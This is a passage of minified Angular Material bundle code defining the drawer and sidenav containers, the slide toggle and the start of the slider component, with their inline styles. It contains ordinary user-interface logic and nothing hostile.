this._userContent||this._content}ngAfterContentInit(){this._allDrawers.changes.pipe((0,Ce.O)(this._allDrawers),(0,G.R)(this._destroyed)).subscribe(R=>{this._drawers.reset(R.filter(X=>!X._container||X._container===this)),this._drawers.notifyOnChanges()}),this._drawers.changes.pipe((0,Ce.O)(null)).subscribe(()=>{this._validateDrawers(),this._drawers.forEach(R=>{this._watchDrawerToggle(R),this._watchDrawerPosition(R),this._watchDrawerMode(R)}),(!this._drawers.length||this._isDrawerOpen(this._start)||this._isDrawerOpen(this._end))&&this.updateContentMargins(),this._changeDetectorRef.markForCheck()}),this._ngZone.runOutsideAngular(()=>{this._doCheckSubject.pipe((0,k.b)(10),(0,G.R)(this._destroyed)).subscribe(()=>this.updateContentMargins())})}ngOnDestroy(){this._contentMarginChanges.complete(),this._doCheckSubject.complete(),this._drawers.destroy(),this._destroyed.next(),this._destroyed.complete()}open(){this._drawers.forEach(R=>R.open())}close(){this._drawers.forEach(R=>R.close())}updateContentMargins(){let R=0,X=0;if(this._left&&this._left.opened)if("side"==this._left.mode)R+=this._left._getWidth();else if("push"==this._left.mode){const _e=this._left._getWidth();R+=_e,X-=_e}if(this._right&&this._right.opened)if("side"==this._right.mode)X+=this._right._getWidth();else if("push"==this._right.mode){const _e=this._right._getWidth();X+=_e,R-=_e}R=R||null,X=X||null,(R!==this._contentMargins.left||X!==this._contentMargins.right)&&(this._contentMargins={left:R,right:X},this._ngZone.run(()=>this._contentMarginChanges.next(this._contentMargins)))}ngDoCheck(){this._autosize&&this._isPushed()&&this._ngZone.runOutsideAngular(()=>this._doCheckSubject.next())}_watchDrawerToggle(R){R._animationStarted.pipe((0,H.h)(X=>X.fromState!==X.toState),(0,G.R)(this._drawers.changes)).subscribe(X=>{"open-instant"!==X.toState&&"NoopAnimations"!==this._animationMode&&this._element.nativeElement.classList.add("mat-drawer-transition"),this.updateContentMargins(),this._changeDetectorRef.markForCheck()}),"side"!==R.mode&&R.openedChange.pipe((0,G.R)(this._drawers.changes)).subscribe(()=>this._setContainerClass(R.opened))}_watchDrawerPosition(R){R&&R.onPositionChanged.pipe((0,G.R)(this._drawers.changes)).subscribe(()=>{this._ngZone.onMicrotaskEmpty.pipe((0,oe.q)(1)).subscribe(()=>{this._validateDrawers()})})}_watchDrawerMode(R){R&&R._modeChanged.pipe((0,G.R)((0,z.T)(this._drawers.changes,this._destroyed))).subscribe(()=>{this.updateContentMargins(),this._changeDetectorRef.markForCheck()})}_setContainerClass(R){const X=this._element.nativeElement.classList,_e="mat-drawer-container-has-open";R?X.add(_e):X.remove(_e)}_validateDrawers(){this._start=this._end=null,this._drawers.forEach(R=>{"end"==R.position?this._end=R:this._start=R}),this._right=this._left=null,this._dir&&"rtl"===this._dir.value?(this._left=this._end,this._right=this._start):(this._left=this._start,this._right=this._end)}_isPushed(){return this._isDrawerOpen(this._start)&&"over"!=this._start.mode||this._isDrawerOpen(this._end)&&"over"!=this._end.mode}_onBackdropClicked(){this.backdropClick.emit(),this._closeModalDrawersViaBackdrop()}_closeModalDrawersViaBackdrop(){[this._start,this._end].filter(R=>R&&!R.disableClose&&this._canHaveBackdrop(R)).forEach(R=>R._closeViaBackdropClick())}_isShowingBackdrop(){return this._isDrawerOpen(this._start)&&this._canHaveBackdrop(this._start)||this._isDrawerOpen(this._end)&&this._canHaveBackdrop(this._end)}_canHaveBackdrop(R){return"side"!==R.mode||!!this._backdropOverride}_isDrawerOpen(R){return null!=R&&R.opened}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(f.Is,8),s.Y36(s.SBq),s.Y36(s.R0b),s.Y36(s.sBO),s.Y36(n.rL),s.Y36(dt),s.Y36(s.QbO,8))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-drawer-container"]],contentQueries:function(R,X,_e){if(1&R&&(s.Suo(_e,De,5),s.Suo(_e,re,5)),2&R){let ct;s.iGM(ct=s.CRH())&&(X._content=ct.first),s.iGM(ct=s.CRH())&&(X._allDrawers=ct)}},viewQuery:function(R,X){if(1&R&&s.Gf(De,5),2&R){let _e;s.iGM(_e=s.CRH())&&(X._userContent=_e.first)}},hostAttrs:[1,"mat-drawer-container"],hostVars:2,hostBindings:function(R,X){2&R&&s.ekj("mat-drawer-container-explicit-backdrop",X._backdropOverride)},inputs:{autosize:"autosize",hasBackdrop:"hasBackdrop"},outputs:{backdropClick:"backdropClick"},exportAs:["matDrawerContainer"],features:[s._Bn([{provide:bt,useExisting:P}])],ngContentSelectors:je,decls:4,vars:2,consts:[["class","mat-drawer-backdrop",3,"mat-drawer-shown","click",4,"ngIf"],[4,"ngIf"],[1,"mat-drawer-backdrop",3,"click"]],template:function(R,X){1&R&&(s.F$t(ce),s.YNc(0,q,1,2,"div",0),s.Hsn(1),s.Hsn(2,1),s.YNc(3,we,2,0,"mat-drawer-content",1)),2&R&&(s.Q6J("ngIf",X.hasBackdrop),s.xp6(3),s.Q6J("ngIf",!X._content))},dependencies:[a.O5,De],styles:[\'.mat-drawer-container{position:relative;z-index:1;box-sizing:border-box;-webkit-overflow-scrolling:touch;display:block;overflow:hidden}.mat-drawer-container[fullscreen]{top:0;left:0;right:0;bottom:0;position:absolute}.mat-drawer-container[fullscreen].mat-drawer-container-has-open{overflow:hidden}.mat-drawer-container.mat-drawer-container-explicit-backdrop .mat-drawer-side{z-index:3}.mat-drawer-container.ng-animate-disabled .mat-drawer-backdrop,.mat-drawer-container.ng-animate-disabled .mat-drawer-content,.ng-animate-disabled .mat-drawer-container .mat-drawer-backdrop,.ng-animate-disabled .mat-drawer-container .mat-drawer-content{transition:none}.mat-drawer-backdrop{top:0;left:0;right:0;bottom:0;position:absolute;display:block;z-index:3;visibility:hidden}.mat-drawer-backdrop.mat-drawer-shown{visibility:visible}.mat-drawer-transition .mat-drawer-backdrop{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:background-color,visibility}.cdk-high-contrast-active .mat-drawer-backdrop{opacity:.5}.mat-drawer-content{position:relative;z-index:1;display:block;height:100%;overflow:auto}.mat-drawer-transition .mat-drawer-content{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:transform,margin-left,margin-right}.mat-drawer{position:relative;z-index:4;display:block;position:absolute;top:0;bottom:0;z-index:3;outline:0;box-sizing:border-box;overflow-y:auto;transform:translate3d(-100%, 0, 0)}.cdk-high-contrast-active .mat-drawer,.cdk-high-contrast-active [dir=rtl] .mat-drawer.mat-drawer-end{border-right:solid 1px currentColor}.cdk-high-contrast-active [dir=rtl] .mat-drawer,.cdk-high-contrast-active .mat-drawer.mat-drawer-end{border-left:solid 1px currentColor;border-right:none}.mat-drawer.mat-drawer-side{z-index:2}.mat-drawer.mat-drawer-end{right:0;transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer{transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer.mat-drawer-end{left:0;right:auto;transform:translate3d(-100%, 0, 0)}.mat-drawer[style*="visibility: hidden"]{display:none}.mat-drawer-inner-container{width:100%;height:100%;overflow:auto;-webkit-overflow-scrolling:touch}.mat-sidenav-fixed{position:fixed}\'],encapsulation:2,changeDetection:0}),P})(),We=(()=>{class P extends De{constructor(R,X,_e,ct,Je){super(R,X,_e,ct,Je)}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(s.sBO),s.Y36((0,s.Gpc)(()=>Be)),s.Y36(s.SBq),s.Y36(n.mF),s.Y36(s.R0b))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-sidenav-content"]],hostAttrs:[1,"mat-drawer-content","mat-sidenav-content"],hostVars:4,hostBindings:function(R,X){2&R&&s.Udp("margin-left",X._container._contentMargins.left,"px")("margin-right",X._container._contentMargins.right,"px")},features:[s._Bn([{provide:n.PQ,useExisting:P}]),s.qOj],ngContentSelectors:se,decls:1,vars:0,template:function(R,X){1&R&&(s.F$t(),s.Hsn(0))},encapsulation:2,changeDetection:0}),P})(),xt=(()=>{class P extends re{constructor(){super(...arguments),this._fixedInViewport=!1,this._fixedTopGap=0,this._fixedBottomGap=0}get fixedInViewport(){return this._fixedInViewport}set fixedInViewport(R){this._fixedInViewport=(0,E.Ig)(R)}get fixedTopGap(){return this._fixedTopGap}set fixedTopGap(R){this._fixedTopGap=(0,E.su)(R)}get fixedBottomGap(){return this._fixedBottomGap}set fixedBottomGap(R){this._fixedBottomGap=(0,E.su)(R)}}return P.\\u0275fac=function(){let w;return function(X){return(w||(w=s.n5z(P)))(X||P)}}(),P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-sidenav"]],hostAttrs:["tabIndex","-1",1,"mat-drawer","mat-sidenav"],hostVars:17,hostBindings:function(R,X){2&R&&(s.uIk("align",null),s.Udp("top",X.fixedInViewport?X.fixedTopGap:null,"px")("bottom",X.fixedInViewport?X.fixedBottomGap:null,"px"),s.ekj("mat-drawer-end","end"===X.position)("mat-drawer-over","over"===X.mode)("mat-drawer-push","push"===X.mode)("mat-drawer-side","side"===X.mode)("mat-drawer-opened",X.opened)("mat-sidenav-fixed",X.fixedInViewport))},inputs:{fixedInViewport:"fixedInViewport",fixedTopGap:"fixedTopGap",fixedBottomGap:"fixedBottomGap"},exportAs:["matSidenav"],features:[s.qOj],ngContentSelectors:se,decls:3,vars:0,consts:[["cdkScrollable","",1,"mat-drawer-inner-container"],["content",""]],template:function(R,X){1&R&&(s.F$t(),s.TgZ(0,"div",0,1),s.Hsn(2),s.qZA())},dependencies:[n.PQ],encapsulation:2,data:{animation:[qe.transformDrawer]},changeDetection:0}),P})(),Be=(()=>{class P extends ve{}return P.\\u0275fac=function(){let w;return function(X){return(w||(w=s.n5z(P)))(X||P)}}(),P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-sidenav-container"]],contentQueries:function(R,X,_e){if(1&R&&(s.Suo(_e,We,5),s.Suo(_e,xt,5)),2&R){let ct;s.iGM(ct=s.CRH())&&(X._content=ct.first),s.iGM(ct=s.CRH())&&(X._allDrawers=ct)}},hostAttrs:[1,"mat-drawer-container","mat-sidenav-container"],hostVars:2,hostBindings:function(R,X){2&R&&s.ekj("mat-drawer-container-explicit-backdrop",X._backdropOverride)},exportAs:["matSidenavContainer"],features:[s._Bn([{provide:bt,useExisting:P}]),s.qOj],ngContentSelectors:Qe,decls:4,vars:2,consts:[["class","mat-drawer-backdrop",3,"mat-drawer-shown","click",4,"ngIf"],[4,"ngIf"],[1,"mat-drawer-backdrop",3,"click"]],template:function(R,X){1&R&&(s.F$t(Oe),s.YNc(0,Ze,1,2,"div",0),s.Hsn(1),s.Hsn(2,1),s.YNc(3,le,2,0,"mat-sidenav-content",1)),2&R&&(s.Q6J("ngIf",X.hasBackdrop),s.xp6(3),s.Q6J("ngIf",!X._content))},dependencies:[a.O5,We],styles:[\'.mat-drawer-container{position:relative;z-index:1;box-sizing:border-box;-webkit-overflow-scrolling:touch;display:block;overflow:hidden}.mat-drawer-container[fullscreen]{top:0;left:0;right:0;bottom:0;position:absolute}.mat-drawer-container[fullscreen].mat-drawer-container-has-open{overflow:hidden}.mat-drawer-container.mat-drawer-container-explicit-backdrop .mat-drawer-side{z-index:3}.mat-drawer-container.ng-animate-disabled .mat-drawer-backdrop,.mat-drawer-container.ng-animate-disabled .mat-drawer-content,.ng-animate-disabled .mat-drawer-container .mat-drawer-backdrop,.ng-animate-disabled .mat-drawer-container .mat-drawer-content{transition:none}.mat-drawer-backdrop{top:0;left:0;right:0;bottom:0;position:absolute;display:block;z-index:3;visibility:hidden}.mat-drawer-backdrop.mat-drawer-shown{visibility:visible}.mat-drawer-transition .mat-drawer-backdrop{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:background-color,visibility}.cdk-high-contrast-active .mat-drawer-backdrop{opacity:.5}.mat-drawer-content{position:relative;z-index:1;display:block;height:100%;overflow:auto}.mat-drawer-transition .mat-drawer-content{transition-duration:400ms;transition-timing-function:cubic-bezier(0.25, 0.8, 0.25, 1);transition-property:transform,margin-left,margin-right}.mat-drawer{position:relative;z-index:4;display:block;position:absolute;top:0;bottom:0;z-index:3;outline:0;box-sizing:border-box;overflow-y:auto;transform:translate3d(-100%, 0, 0)}.cdk-high-contrast-active .mat-drawer,.cdk-high-contrast-active [dir=rtl] .mat-drawer.mat-drawer-end{border-right:solid 1px currentColor}.cdk-high-contrast-active [dir=rtl] .mat-drawer,.cdk-high-contrast-active .mat-drawer.mat-drawer-end{border-left:solid 1px currentColor;border-right:none}.mat-drawer.mat-drawer-side{z-index:2}.mat-drawer.mat-drawer-end{right:0;transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer{transform:translate3d(100%, 0, 0)}[dir=rtl] .mat-drawer.mat-drawer-end{left:0;right:auto;transform:translate3d(-100%, 0, 0)}.mat-drawer[style*="visibility: hidden"]{display:none}.mat-drawer-inner-container{width:100%;height:100%;overflow:auto;-webkit-overflow-scrolling:touch}.mat-sidenav-fixed{position:fixed}\'],encapsulation:2,changeDetection:0}),P})(),pe=(()=>{class P{}return P.\\u0275fac=function(R){return new(R||P)},P.\\u0275mod=s.oAB({type:P}),P.\\u0275inj=s.cJS({imports:[a.ez,u.BQ,n.ZD,n.ZD,u.BQ]}),P})()},455:(At,ae,d)=>{"use strict";d.d(ae,{Rr:()=>G,rP:()=>k});var n=d(9643),a=d(4650),s=d(3238),u=d(2687),c=d(1281),f=d(4006);const E=["input"],_=function(K){return{enterDuration:K}},S=["*"],g=new a.OlP("mat-slide-toggle-default-options",{providedIn:"root",factory:()=>({disableToggleValue:!1})});let C=0;const z={provide:f.JU,useExisting:(0,a.Gpc)(()=>G),multi:!0};class H{constructor(se,ee){this.source=se,this.checked=ee}}const j=(0,s.sb)((0,s.pj)((0,s.Kr)((0,s.Id)(class{constructor(K){this._elementRef=K}}))));let U=(()=>{class K extends j{constructor(ee,q,we,ce,je,Ze,le){super(ee),this._focusMonitor=q,this._changeDetectorRef=we,this.defaults=je,this._onChange=Oe=>{},this._onTouched=()=>{},this._required=!1,this._checked=!1,this.name=null,this.labelPosition="after",this.ariaLabel=null,this.ariaLabelledby=null,this.change=new a.vpe,this.toggleChange=new a.vpe,this.tabIndex=parseInt(ce)||0,this.color=this.defaultColor=je.color||"accent",this._noopAnimations="NoopAnimations"===Ze,this.id=this._uniqueId=`${le}${++C}`}get required(){return this._required}set required(ee){this._required=(0,c.Ig)(ee)}get checked(){return this._checked}set checked(ee){this._checked=(0,c.Ig)(ee),this._changeDetectorRef.markForCheck()}get inputId(){return`${this.id||this._uniqueId}-input`}ngAfterContentInit(){this._focusMonitor.monitor(this._elementRef,!0).subscribe(ee=>{"keyboard"===ee||"program"===ee?this._focused=!0:ee||Promise.resolve().then(()=>{this._focused=!1,this._onTouched(),this._changeDetectorRef.markForCheck()})})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef)}writeValue(ee){this.checked=!!ee}registerOnChange(ee){this._onChange=ee}registerOnTouched(ee){this._onTouched=ee}setDisabledState(ee){this.disabled=ee,this._changeDetectorRef.markForCheck()}toggle(){this.checked=!this.checked,this._onChange(this.checked)}_emitChangeEvent(){this._onChange(this.checked),this.change.emit(this._createChangeEvent(this.checked))}}return K.\\u0275fac=function(ee){a.$Z()},K.\\u0275dir=a.lG2({type:K,inputs:{name:"name",id:"id",labelPosition:"labelPosition",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],required:"required",checked:"checked"},outputs:{change:"change",toggleChange:"toggleChange"},features:[a.qOj]}),K})(),G=(()=>{class K extends U{constructor(ee,q,we,ce,je,Ze){super(ee,q,we,ce,je,Ze,"mat-slide-toggle-")}_createChangeEvent(ee){return new H(this,ee)}_onChangeEvent(ee){ee.stopPropagation(),this.toggleChange.emit(),this.defaults.disableToggleValue?this._inputElement.nativeElement.checked=this.checked:(this.checked=this._inputElement.nativeElement.checked,this._emitChangeEvent())}_onInputClick(ee){ee.stopPropagation()}focus(ee,q){q?this._focusMonitor.focusVia(this._inputElement,q,ee):this._inputElement.nativeElement.focus(ee)}_onLabelTextChange(){this._changeDetectorRef.detectChanges()}}return K.\\u0275fac=function(ee){return new(ee||K)(a.Y36(a.SBq),a.Y36(u.tE),a.Y36(a.sBO),a.$8M("tabindex"),a.Y36(g),a.Y36(a.QbO,8))},K.\\u0275cmp=a.Xpm({type:K,selectors:[["mat-slide-toggle"]],viewQuery:function(ee,q){if(1&ee&&a.Gf(E,5),2&ee){let we;a.iGM(we=a.CRH())&&(q._inputElement=we.first)}},hostAttrs:[1,"mat-slide-toggle"],hostVars:13,hostBindings:function(ee,q){2&ee&&(a.Ikx("id",q.id),a.uIk("tabindex",null)("aria-label",null)("aria-labelledby",null)("name",null),a.ekj("mat-checked",q.checked)("mat-disabled",q.disabled)("mat-slide-toggle-label-before","before"==q.labelPosition)("_mat-animation-noopable",q._noopAnimations))},inputs:{disabled:"disabled",disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex"},exportAs:["matSlideToggle"],features:[a._Bn([z]),a.qOj],ngContentSelectors:S,decls:14,vars:20,consts:[[1,"mat-slide-toggle-label"],["label",""],[1,"mat-slide-toggle-bar"],["type","checkbox","role","switch",1,"mat-slide-toggle-input","cdk-visually-hidden",3,"id","required","tabIndex","checked","disabled","change","click"],["input",""],[1,"mat-slide-toggle-thumb-container"],[1,"mat-slide-toggle-thumb"],["mat-ripple","",1,"mat-slide-toggle-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleCentered","matRippleRadius","matRippleAnimation"],[1,"mat-ripple-element","mat-slide-toggle-persistent-ripple"],[1,"mat-slide-toggle-content",3,"cdkObserveContent"],["labelContent",""],[2,"display","none"]],template:function(ee,q){if(1&ee&&(a.F$t(),a.TgZ(0,"label",0,1)(2,"span",2)(3,"input",3,4),a.NdJ("change",function(ce){return q._onChangeEvent(ce)})("click",function(ce){return q._onInputClick(ce)}),a.qZA(),a.TgZ(5,"span",5),a._UZ(6,"span",6),a.TgZ(7,"span",7),a._UZ(8,"span",8),a.qZA()()(),a.TgZ(9,"span",9,10),a.NdJ("cdkObserveContent",function(){return q._onLabelTextChange()}),a.TgZ(11,"span",11),a._uU(12,"\\xa0"),a.qZA(),a.Hsn(13),a.qZA()()),2&ee){const we=a.MAs(1),ce=a.MAs(10);a.uIk("for",q.inputId),a.xp6(2),a.ekj("mat-slide-toggle-bar-no-side-margin",!ce.textContent||!ce.textContent.trim()),a.xp6(1),a.Q6J("id",q.inputId)("required",q.required)("tabIndex",q.tabIndex)("checked",q.checked)("disabled",q.disabled),a.uIk("name",q.name)("aria-checked",q.checked)("aria-label",q.ariaLabel)("aria-labelledby",q.ariaLabelledby)("aria-describedby",q.ariaDescribedby),a.xp6(4),a.Q6J("matRippleTrigger",we)("matRippleDisabled",q.disableRipple||q.disabled)("matRippleCentered",!0)("matRippleRadius",20)("matRippleAnimation",a.VKq(18,_,q._noopAnimations?0:150))}},dependencies:[s.wG,n.wD],styles:[\'.mat-slide-toggle{display:inline-block;height:24px;max-width:100%;line-height:24px;white-space:nowrap;outline:none;-webkit-tap-highlight-color:rgba(0,0,0,0)}.mat-slide-toggle.mat-checked .mat-slide-toggle-thumb-container{transform:translate3d(16px, 0, 0)}[dir=rtl] .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb-container{transform:translate3d(-16px, 0, 0)}.mat-slide-toggle.mat-disabled{opacity:.38}.mat-slide-toggle.mat-disabled .mat-slide-toggle-label,.mat-slide-toggle.mat-disabled .mat-slide-toggle-thumb-container{cursor:default}.mat-slide-toggle-label{-webkit-user-select:none;user-select:none;display:flex;flex:1;flex-direction:row;align-items:center;height:inherit;cursor:pointer}.mat-slide-toggle-content{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.mat-slide-toggle-label-before .mat-slide-toggle-label{order:1}.mat-slide-toggle-label-before .mat-slide-toggle-bar{order:2}[dir=rtl] .mat-slide-toggle-label-before .mat-slide-toggle-bar,.mat-slide-toggle-bar{margin-right:8px;margin-left:0}[dir=rtl] .mat-slide-toggle-bar,.mat-slide-toggle-label-before .mat-slide-toggle-bar{margin-left:8px;margin-right:0}.mat-slide-toggle-bar-no-side-margin{margin-left:0;margin-right:0}.mat-slide-toggle-thumb-container{position:absolute;z-index:1;width:20px;height:20px;top:-3px;left:0;transform:translate3d(0, 0, 0);transition:all 80ms linear;transition-property:transform}._mat-animation-noopable .mat-slide-toggle-thumb-container{transition:none}[dir=rtl] .mat-slide-toggle-thumb-container{left:auto;right:0}.mat-slide-toggle-thumb{height:20px;width:20px;border-radius:50%;display:block}.mat-slide-toggle-bar{position:relative;width:36px;height:14px;flex-shrink:0;border-radius:8px}.mat-slide-toggle-input{bottom:0;left:10px}[dir=rtl] .mat-slide-toggle-input{left:auto;right:10px}.mat-slide-toggle-bar,.mat-slide-toggle-thumb{transition:all 80ms linear;transition-property:background-color;transition-delay:50ms}._mat-animation-noopable .mat-slide-toggle-bar,._mat-animation-noopable .mat-slide-toggle-thumb{transition:none}.mat-slide-toggle .mat-slide-toggle-ripple{position:absolute;top:calc(50% - 20px);left:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-slide-toggle .mat-slide-toggle-ripple .mat-ripple-element:not(.mat-slide-toggle-persistent-ripple){opacity:.12}.mat-slide-toggle-persistent-ripple{width:100%;height:100%;transform:none}.mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{opacity:.04}.mat-slide-toggle:not(.mat-disabled).cdk-keyboard-focused .mat-slide-toggle-persistent-ripple{opacity:.12}.mat-slide-toggle-persistent-ripple,.mat-slide-toggle.mat-disabled .mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{opacity:0}@media(hover: none){.mat-slide-toggle-bar:hover .mat-slide-toggle-persistent-ripple{display:none}}.mat-slide-toggle-input:focus~.mat-slide-toggle-thumb-container .mat-focus-indicator::before{content:""}.cdk-high-contrast-active .mat-slide-toggle-thumb,.cdk-high-contrast-active .mat-slide-toggle-bar{border:1px solid}\'],encapsulation:2,changeDetection:0}),K})(),Ce=(()=>{class K{}return K.\\u0275fac=function(ee){return new(ee||K)},K.\\u0275mod=a.oAB({type:K}),K.\\u0275inj=a.cJS({}),K})(),k=(()=>{class K{}return K.\\u0275fac=function(ee){return new(ee||K)},K.\\u0275mod=a.oAB({type:K}),K.\\u0275inj=a.cJS({imports:[Ce,s.si,s.BQ,n.Q8,Ce,s.BQ]}),K})()},7314:(At,ae,d)=>{"use strict";d.d(ae,{KP:()=>ce,pH:()=>k});var n=d(6895),a=d(4650),s=d(3238),u=d(2687),c=d(445),f=d(1281),E=d(9521),_=d(4006),S=d(3353),g=d(2654);const C=["sliderWrapper"],z=(0,S.i$)({passive:!1}),Q={provide:_.JU,useExisting:(0,a.Gpc)(()=>k),multi:!0};class oe{}const Ce=(0,s.sb)((0,s.pj)((0,s.Id)(class{constructor(je){this._elementRef=je}}),"accent"));let k=(()=>{class je extends Ce{constructor(le,Oe,Qe,Ye,qe,Ke,dt,bt){super(le),this._focusMonitor=Oe,this._changeDetectorRef=Qe,this._dir=Ye,this._ngZone=Ke,this._animationMode=bt,this._invert=!1,this._max=100,this._min=0,this._step=1,this._thumbLabel=!1,this._tickInterval=0,this._value=null,this._vertical=!1,this.change=new a.vpe,this.input=new a.vpe,this.valueChange=new a.vpe,this.onTouched=()=>{},this._percent=0,this._isSliding=null,this._isActive=!1,this._tickIntervalPercent=0,this._sliderDimensions=null,this._controlValueAccessorChangeFn=()=>{},this._dirChangeSubscription=g.w.EMPTY,this._pointerDown=ze=>{this.disabled||this._isSliding||!se(ze)&&0!==ze.button||this._ngZone.run(()=>{this._touchId=se(ze)?function we(je,Ze){for(let le=0;le<je.touches.length;le++){const Oe=je.touches[le].target;if(Ze===Oe||Ze.contains(Oe))return je.touches[le].identifier}}(ze,this._elementRef.nativeElement):void 0;const De=ee(ze,this._touchId);if(De){const re=this.value;this._isSliding="pointer",this._lastPointerEvent=ze,this._focusHostElement(),this._onMouseenter(),this._bindGlobalEvents(ze),this._focusHostElement(),this._updateValueFromPosition(De),this._valueOnSlideStart=re,ze.cancelable&&ze.preventDefault(),re!=this.value&&this._emitInputEvent()}})},this._pointerMove=ze=>{if("pointer"===this._isSliding){const De=ee(ze,this._touchId);if(De){ze.cancelable&&ze.preventDefault();const re=this.value;this._lastPointerEvent=ze,this._updateValueFromPosition(De),re!=this.value&&this._emitInputEvent()}}},this._pointerUp=ze=>{"pointer"===this._isSliding&&(!se(ze)||"number"!=typeof this._touchId||q(ze.changedTouches,this._touchId))&&(ze.cancelable&&ze.preventDefault(),this._removeGlobalEvents(),this._isSliding=null,this._touchId=void 0,this._valueOnSlideStart!=this.value&&!this.disabled&&this._emitChangeEvent(),this._valueOnSlideStart=this._lastPointerEvent=null)},this._windowBlur=()=>{this._lastPointerEvent&&this._pointerUp(this._lastPointerEvent)},this._document=dt,this.tabIndex=parseInt(qe)||0,Ke.runOutsideAngular(()=>{const ze=le.nativeElement;ze.addEventListener("mousedown",this._pointerDown,z),ze.addEventListener("touchstart",this._pointerDown,z)})}get invert(){return this._invert}set invert(le){this._invert=(0,f.Ig)(le)}get max(){return this._max}set max(le){this._max=(0,f.su)(le,this._max),this._percent=this._calculatePercentage(this._value),this._changeDetectorRef.markForCheck()}get min(){return this._min}set min(le){this._min=(0,f.su)(le,this._min),this._percent=this._calculatePercentage(this._value),this._changeDetectorRef.markForCheck()}get step(){return this._step}set step(le){this._step=(0,f.su)(le,this._step),this._step%1!=0&&(this._roundToDecimal=this._step.toString().split(".").pop().length),this._changeDetectorRef.markForCheck()}get thumbLabel(){return this._thumbLabel}set thumbLabel(le){this._thumbLabel=(0,f.Ig)(le)}get tickInterval(){return this._tickInterval}set tickInterval(le){this._tickInterval="auto"===le?"auto":"number"==typeof le||"string"==typeof le?(0,f.su)(le,this._tickInterval):0}get value(){return null===this._value&&(this.value=this._min),this._value}set value(le){if(le!==this._value){let Oe=(0,f.su)(le,0);this._roundToDecimal&&Oe!==this.min&&Oe!==this.max&&(Oe=parseFloat(Oe.toFixed(this._roundToDecimal))),this._value=Oe,this._percent=this._calculatePercentage(this._value),this._changeDetectorRef.markForCheck()}}get vertical(){return this._vertical}set vertical(le){this._vertical=(0,f.Ig)(le)}get displayValue(){return this.displayWith?this.displayWith(this.value):this._roundToDecimal&&this.value&&this.value%1!=0?this.value.toFixed(this._roundToDecimal):this.value||0}focus(le){this._focusHostElement(le)}blur(){this._blurHostElement()}get percent(){return this._clamp(this._percent)}_shouldInvertAxis(){return this.vertical?!this.invert:this.invert}_isMinValue(){return 0===this.percent}_getThumbGap(){return this.disabled?7:this._isMinValue()&&!this.thumbLabel?this._isActive?10:7:0}_getTrackBackgroundStyles(){const Oe=this.vertical?`1, ${1-this.percent}, 1`:1-this.percent+", 1, 1";return{transform:`translate${this.vertical?"Y":"X"}(${this._shouldInvertMouseCoords()?"-":""}${this._getThumbGap()}px) scale3d(${Oe})`}}_getTrackFillStyles(){const le=this.percent,Qe=this.vertical?`1, ${le}, 1`:`${le}, 1, 1`;return{transform:`translate${this.vertical?"Y":"X"}(${this._shouldInvertMouseCoords()?"":"-"}${this._getThumbGap()}px) scale3d(${Qe})`,display:0===le?"none":""}}_getTicksContainerStyles(){return{transform:`translate${this.vertical?"Y":"X"}(${this.vertical||"rtl"!=this._getDirection()?"-":""}${this._tickIntervalPercent/2*100}%)`}}_getTicksStyles(){let le=100*this._tickIntervalPercent,Ke={backgroundSize:this.vertical?`2px ${le}%`:`${le}% 2px`,transform:`translateZ(0) translate${this.vertical?"Y":"X"}(${this.vertical||"rtl"!=this._getDirection()?"":"-"}${le/2}%)${this.vertical||"rtl"!=this._getDirection()?"":" rotate(180deg)"}`};if(this._isMinValue()&&this._getThumbGap()){const dt=this._shouldInvertAxis();let bt;bt=this.vertical?dt?"Bottom":"Top":dt?"Right":"Left",Ke[`padding${bt}`]=`${this._getThumbGap()}px`}return Ke}_getThumbContainerStyles(){const le=this._shouldInvertAxis();return{transform:`translate${this.vertical?"Y":"X"}(-${100*(("rtl"!=this._getDirection()||this.vertical?le:!le)?this.percent:1-this.percent)}%)`}}_shouldInvertMouseCoords(){const le=this._shouldInvertAxis();return"rtl"!=this._getDirection()||this.vertical?le:!le}_getDirection(){return this._dir&&"rtl"==this._dir.value?"rtl":"ltr"}ngAfterViewInit(){this._focusMonitor.monitor(this._elementRef,!0).subscribe(le=>{this._isActive=!!le&&"keyboard"!==le,this._changeDetectorRef.detectChanges()}),this._dir&&(this._dirChangeSubscription=this._dir.change.subscribe(()=>{this._changeDetectorRef.markForCheck()}))}ngOnDestroy(){const le=this._elementRef.nativeElement;le.removeEventListener("mousedown",this._pointerDown,z),le.removeEventListener("touchstart",this._pointerDown,z),this._lastPointerEvent=null,this._removeGlobalEvents(),this._focusMonitor.stopMonitoring(this._elementRef),this._dirChangeSubscription.unsubscribe()}_onMouseenter(){this.disabled||(this._sliderDimensions=this._getSliderDimensions(),this._updateTickIntervalPercent())}_onFocus(){this._sliderDimensions=this._getSliderDimensions(),this._updateTickIntervalPercent()}_onBlur(){this.onTouched()}_onKeydown(le){if(this.disabled||(0,E.Vb)(le)||this._isSliding&&"keyboard"!==this._isSliding)return;const Oe=this.value;switch(le.keyCode){case E.Ku:this._increment(10);break;case E.VM:this._increment(-10);break;case E.uR:this.value=this.max;break;case E.Sd:this.value=this.min;break;case E.oh:this._increment("rtl"==this._getDirection()?1:-1);break;case E.LH:this._increment(1);break;case E.SV:this._increment("rtl"==this._getDirection()?-1:1);break;case 